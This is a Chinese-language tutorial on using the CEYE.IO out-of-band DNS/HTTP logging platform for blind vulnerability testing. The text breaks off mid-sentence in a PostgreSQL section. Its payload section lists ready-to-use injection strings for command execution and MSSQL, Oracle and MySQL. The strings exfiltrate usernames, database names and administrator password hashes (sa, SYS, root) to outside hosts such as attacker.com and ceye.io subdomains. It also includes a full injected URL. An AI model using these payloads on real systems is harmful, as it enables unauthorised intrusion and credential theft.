TOC
一、CEYE 是什么
CEYE是一个用来检测带外(Out-of-Band)流量的监控平台,如DNS查询和HTTP请求。它可以帮助安全研究人员在测试漏洞时收集信息(例如SSRF / XXE / RFI / RCE)。位
二、CEYE的使用场景
漏洞检测或漏洞利用需要进一步的用户或系统交互。 一些漏洞类型没有直接表明攻击是成功的。如Payload触发了却不在前端页面显示。
这时候使用CEYE平台,通过使用诸如DNS和HTTP之类的带外信道,便可以得到回显信息。
三、CEYE如何使用
登录 CEYE.IO,在用户详情页(http://ceye.io/profile) 可以看到自己的域名标识符 identifier,对于每个用户,都有唯一的域名标识符如 abcdef.ceye.io 。所有来自于 abcdef.ceye.io 或 *.abcdef.ceye.io 的 DNS查询和HTTP请求都会被记录。通过查看这些记录信息,安全研究人员可以确认并改进自己的漏洞研究方案。
通过DNS带外信道检测 Blind Payload 的执行情况
DNS查询可以以多种不同的方式进行解析。CEYE.IO平台提供了一台DNS Server来解析域名。它的 nameserver address 被设置为自己的服务器IP,因此所有关于ceye.io 的域名的DNS查询最终都会被发送到CEYE的DNS服务器。
例如,在终端中使用 nslookup
➜ nslookup `whoami`.abcdef.ceye.io
Server: 127.1.1.1
Address: 127.1.1.1#53
Non-authoritative answer:
Name: chan.abcdef.ceye.io
Address: 118.192.48.48
可以看到有记录产生,我们保存了最近的100条记录,你可以通过搜索框,搜索并导出你需要的结果,导出格式为 JSON 。
CEYE.IO平台拥有自己的HTTP服务器,记录用户域名的所有请求。这可以用来做一些有趣的事情。例如:
➜ curl -X POST http://ip.port.abcdef.ceye.io/`whoami`?p=http -d data=http
{"meta": {"code": 201, "message": "HTTP Record Insert Success"}}
在后台,CEYE.IO平台将记录客户端请求的URL,远程IP地址,Http Method,Data,User Agent,Content Type等信息。你可以在HTTP Records页面找到这些详细信息。
四、Payloads:
1. Command Execution
1. linux
curl http://ip.port.b182oj.ceye.io/`whoami` (ip.port可不加)
ping `whoami`.ip.port.b182oj.ceye.io
2. windows
ping %USERNAME%.b182oj.ceye.io
这里给大家一个win的常用变量吧
//变量 类型 描述
//%ALLUSERSPROFILE% 本地 返回“所有用户”配置文件的位置。
//%APPDATA% 本地 返回默认情况下应用程序存储数据的位置。
//%CD% 本地 返回当前目录字符串。
//%CMDCMDLINE% 本地 返回用来启动当前的 Cmd.exe 的准确命令行。
//%CMDEXTVERSION% 系统 返回当前的“命令处理程序扩展”的版本号。
//%COMPUTERNAME% 系统 返回计算机的名称。
//%COMSPEC% 系统 返回命令行解释器可执行程序的准确路径。
//%DATE% 系统 返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
//%ERRORLEVEL% 系统 返回上一条命令的错误代码。通常用非零值表示错误。
//%HOMEDRIVE% 系统 返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMEPATH% 系统 返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMESHARE% 系统 返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%LOGONSERVER% 本地 返回验证当前登录会话的域控制器的名称。
//%NUMBER_OF_PROCESSORS% 系统 指定安装在计算机上的处理器的数目。
//%OS% 系统 返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
//%PATH% 系统 指定可执行文件的搜索路径。
//%PATHEXT% 系统 返回操作系统认为可执行的文件扩展名的列表。
//%PROCESSOR_ARCHITECTURE% 系统 返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
//%PROCESSOR_IDENTFIER% 系统 返回处理器说明。
//%PROCESSOR_LEVEL% 系统 返回计算机上安装的处理器的型号。
//%PROCESSOR_REVISION% 系统 返回处理器的版本号。
//%PROMPT% 本地 返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
//%RANDOM% 系统 返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
//%SYSTEMDRIVE% 系统 返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
//%SYSTEMROOT% 系统 返回 Windows server operating system 根目录的位置。
//%TEMP%和%TMP% 系统和用户 返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
//%TIME% 系统 返回当前时间。使用与 time /t 命令相同的格式。由 Cmd.exe 生成。有关 time 命令的详细信息,请参阅 Time。
//%USERDOMAIN% 本地 返回包含用户帐户的域的名称。
//%USERNAME% 本地 返回当前登录的用户的名称。
//%USERPROFILE% 本地 返回当前用户的配置文件的位置。
//%WINDIR% 系统 返回操作系统目录的位置。
2.SQL Injection
1.Microsoft SQL Server
扩展存储程序是一个直接运行在微软的地址空间库SQL服务器(MSSQL)的动态链接。有几个未被公开说明的扩展存储程序对于实现本文的目的特别有用的。
攻击者可以使用Microsoft Windows通用命名约定(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。Windows系统的UNC语法具有通用的形式:
\\ComputerName\SharedFolder\Resource
攻击者能够通过使用自定义制作的地址作为计算机名字段的值引发DNS请求。 1.1 master..xp_dirtree
扩展存储程序master..xp_dirtree()用于获取所有文件夹的列表和给定文件夹内部的子文件夹:
master..xp_dirtree '<dirpath>'
例如,要获得C:\Windows run:里的所有文件夹和子文件夹:
EXEC master..xp_dirtree 'C:\Windows';
1.2 master..xp_fileexist
扩展存储程序master..xp_fileexist()用于确定一个特定的文件是否存在于硬盘: xp_fileexist ‘‘ 例如,要检查boot.ini文件是否存在于磁盘C 运行:
EXEC master..xp_fileexist 'C:\boot.ini';
1.3 master..xp_subdirs
扩展存储程序master..xp_subdirs()用于得到给定的文件夹内的文件夹列表:
master..xp_subdirs '<dirpath>'
例如,要获得C:\Windows中的所有次级文件夹:
EXEC master..xp_subdirs 'C:\Windows';
1.4 例子
接下来的是的通过MsSQL的扩展存储程序master..xp_dirtree()将管理员(sa)的密码哈希通过DNS传输的例子。 复制代码
#!sql
DECLARE @host varchar(1024);
SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='sa')+'.ip.port.b182oj.ceye.io ';
EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');
这种预先计算的形式被使用,因为扩展存储程序不接受带有参数的子查询。因而使用临时变量存储SQL查询的结果。
详细分析:
DECLARE @host varchar(1024);
注册一个名为@host的变量,类型为varchar。
SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.ceye.io';
获取db_name()然后转换成varchar类型,然后把获取的db_name()返回值拼接到dnslog平台给我们的子域名里面,然后赋值给@host变量。
EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');
列远程主机的foobar$目录,由于是远程主机,所以会做一个dns解析,这样我们的dns平台就能得到日志了
http://xxxx.com.cn/?Id=123';DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.ceye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');--
2. Oracle
Oracle提供的PL/ SQL包被捆绑在它的Oracle数据库服务器来扩展数据库功能。为了实现本文的目的,其中几个用于网络接入的包让人特别感兴趣。
2.1 UTL_INADDR.GET_HOST_ADDRESS
UTL_INADDR包用于互联网的寻址–诸如检索本地和远程主机的主机名和IP的地址。
它的成员函数GET_HOST_ADDRESS()用于检索特定主机的IP:
UTL_INADDR.GET_HOST_ADDRESS('<host>')
例如,为了获得test.example.com的IP地址,运行:
SELECT UTL_INADDR.GET_HOST_ADDRESS('test.example.com');
SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');
2.2 UTL_HTTP.REQUEST
UTL_HTTP包用于从SQL和PL/SQL中标注出HTTP。 它的程序REQUEST()回从给定的地址检索到的第1-2000字节的数据: UTL_HTTP.REQUEST(‘‘)
例如,为了获得http://test.example.com/index.php页面的前两千字节的数据,运行:
SELECT UTL_HTTP.REQUEST('http://test.example.com/index.php') FROM DUAL;
SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;
2.3 HTTPURITYPE.GETCLOB
HTTPURITYPE类的实例方法GETCLOB()返回从给定地址中检索到的CLOB(Character Large Object) HTTPURITYPE(‘‘).GETCLOB()
例如,从页面http://test.example.com/index.php开始内容检索 运行:
SELECT HTTPURITYPE('http://test.example.com/index.php').GETCLOB() FROM DUAL;
SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;
2.4 DBMS_LDAP.INIT
DBMS_LDAP包使得PL/SQL程序员能够访问轻量级目录访问协议(LDAP)服务器。它的程序INIT()用于初始化与LDAP服务器的会话: DBMS_LDAP.INIT((‘‘,)
例如:初始化与主机test.example.com的连接 运行:
SELECT DBMS_LDAP.INIT(('test.example.com',80) FROM DUAL;
SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;
攻击者可以使用任何以上提到的Oracle子程序发起DNS请求。然而,在Oracle 11g中,除了DBMS_LDAP.INIT()以外的所有可能导致网络访问子程序都受到限制。
2.5例子
系统管理员(SYS)的密码哈希被Oracle程序DBMS_LDAP.INIT()通过DNS解析机制传输:
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;
3.MySQL
3.1 LOAD_FILE
MySQL的函数LOAD_FILE()读取文件内容并将其作为字符串返回: LOAD_FILE(‘‘)
例如,要获取C:\Windows\system.ini文件的内容 运行:
SELECT LOAD_FILE('C:\\Windows\\system.ini') ;
3.2例子
以下是使用MySQL的函数LOAD_FILE()将系统管理员的密码通过DNS解析机制传输的例子:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root'
LIMIT 1),'.attacker.com\\foobar'));
就以sql盲注为例。深入理解下DNSlog注入过程:
首先提一下load_file()函数,
读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。该文件所有字节可读,但文件内容必须小于max_allowed_packet。
通过DNSlog盲注需要用到load_file()函数。show variables like ‘%secure%’;查看load_file()可以读取的磁盘。
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
通过设置my.ini来配置。secure_file_priv=““就是可以load_flie任意磁盘的文件。
当我们遇到盲注的时候,大家的常规思路是什么?无非两种,一延时,二基于内容特征。而这两种方法都是一个字符一个字符的判断,效率很低。另外要发送大量的get请求,那么这种行为很容易被目标物理防火墙认定位是黑客行为,最终导致IP被ban。
但有了DNSLOG可就不一样了。当遇到盲注的时候,我们可以用这样的PAYLOAD。
load_file(concat('\\\\',(select database()),'.abcdef.ceye.io\\aaa'))
在这里我们需要了解load_file是可以发送DNS请求的。
所以就等同于访问了database().abcdef.ceye.io,然后我们的ceye平台就会有记录,那么database()是不是就得到了呢?这种方法比逐字判断是要方便很多吧。
接下来注入就是库表列,语句自由组合。
例如 select schema_name from information_schema.schemata limit 0,1 要注意的是数据很可能不止一行,因此要用limit分次输出。
MySQL的函数LOAD_FILE()读取文件内容并将其作为字符串返回:
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)-- -+
4. PostgreSQL
4.1 COPY
PostgreSQL的声明COPY用于在文件系统的文件和表之间拷贝数据:
COPY